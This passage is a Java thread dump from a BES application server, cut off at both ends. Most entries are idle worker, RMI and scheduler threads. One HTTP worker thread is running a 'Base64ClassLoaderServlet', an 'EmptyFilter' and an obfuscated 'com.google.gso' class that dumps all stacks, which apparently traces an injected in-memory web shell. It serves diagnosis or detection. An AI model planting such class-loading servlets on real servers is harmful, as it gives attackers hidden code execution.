java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(1)-192.168.215.4" #102 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/725479086.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"jmsra-WorkerThread-4" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"Spark_7" #99 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"GC Daemon" #16 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@4e754aa3 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"httpWorkerThread-8080-4" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Accept-6600" #100 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #68 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346) + at java.lang.Thread.run(Thread.java:750) + +"AsyncLoggerDisruptor-1" #14 daemon [TIMED_WAITING] on java.lang.Object@2a2fdcad + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:460) + at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150) + at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43) + at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56) + at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159) + at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@408b41b1 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"httpWorkerThread-1900-3" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"jmsra-WorkerThread-1" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"httpWorkerThread-8080-6" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"httpWorkerThread-8080-5" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@2e7f8751 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:275) + at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:240) + at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:231) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:467) + at com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:598) + at com.bes.enterprise.startup.ASMain.main(ASMain.java:29) + +"httpWorkerThread-8080-7" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"ReadWriteBlockThread-0" #17 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296) + +"Spark_3" #95 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"Spark-Acceptor" #91 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.bes.ejb.spark.tcp.transport.AcceptorThread.a(AcceptorThread.java:274) + at com.bes.ejb.spark.tcp.transport.AcceptorThread.startEndpoint(AcceptorThread.java:423) + at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508) + +"Spark_4" #96 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"SelectorReaderThread-8080-1" #84 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898) + at java.lang.Thread.run(Thread.java:750) + +"SelectorReaderThread-1900-1" #81 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898) + at java.lang.Thread.run(Thread.java:750) + +"FlushManager" #59 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager.run(LogBufferManager.java:1230) + +"httpWorkerThread-8080-8" #80 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at com.google.gso.IyIWG.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:229) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) + at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:48) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) + at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:194) + at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:92) + at com.bes.enterprise.webext.BesContextCleanupValve.invoke(BesContextCleanupValve.java:50) + at com.bes.enterprise.webext.BESAppservValve.invoke(BESAppservValve.java:41) + at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:540) + at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:136) + at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:77) + at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:83) + at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:349) + at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:663) + at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61) + at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:815) + at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1670) + at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:47) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"httpWorkerThread-8080-2" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"Spark_6" #98 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"AsyncTimeoutThread-1900" #83 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169) + at java.lang.Thread.run(Thread.java:750) + +"Common Lib Watcher" #15 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:91) + +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[/sysapp]]" #89 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346) + at java.lang.Thread.run(Thread.java:750) + +"Spark_1" #93 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"Stateful cache" #65 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a3bf06f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI Scheduler(0)" #103 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e258731 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"AcceptorThread-1900-1" #82 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504) + at java.lang.Thread.run(Thread.java:750) + +"jmsra-WorkerThread-3" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"httpWorkerThread-8080-1" #73 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"Spark_5" #97 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"RMI TCP Connection(2)-192.168.215.4" #105 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/725479086.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI Reaper" #101 [WAITING] on java.lang.ref.ReferenceQueue$Lock@439db8d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:750) + +"AsyncTimeoutThread-8080" #86 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169) + at java.lang.Thread.run(Thread.java:750) + +"bes-deployment-scheduled-executor-thread." #90 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@56ae9154 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at 